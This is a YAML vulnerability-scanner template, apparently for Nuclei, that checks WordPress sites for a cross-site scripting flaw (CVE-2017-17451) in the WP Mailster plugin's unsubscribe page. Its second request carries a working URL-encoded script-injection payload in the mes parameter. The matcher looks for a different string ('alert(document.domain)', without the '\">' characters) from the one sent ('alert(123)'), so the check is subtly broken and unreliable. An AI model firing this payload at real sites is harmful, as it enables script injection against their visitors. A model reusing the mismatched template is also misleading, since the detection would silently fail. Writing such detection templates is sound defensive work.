id: CVE-2017-17451

info:
  name: WordPress Mailster <=1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.
  reference:
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
    epss-score: 0.14343
    epss-percentile: 0.94501
    cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpmailster
    product: "wp_mailster"
    framework: wordpress
  tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Mailster ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b58bec06767fc868a6e320cbba2638c89e6ac6e60094c16a8cf69479a788311a022100e0165cfd80bdf4b8cfe601d7ccb2bf980268ef5e52ac2d0f5ef2f0ef9468b4f4:922c64590222798bb761d5b6d8e72950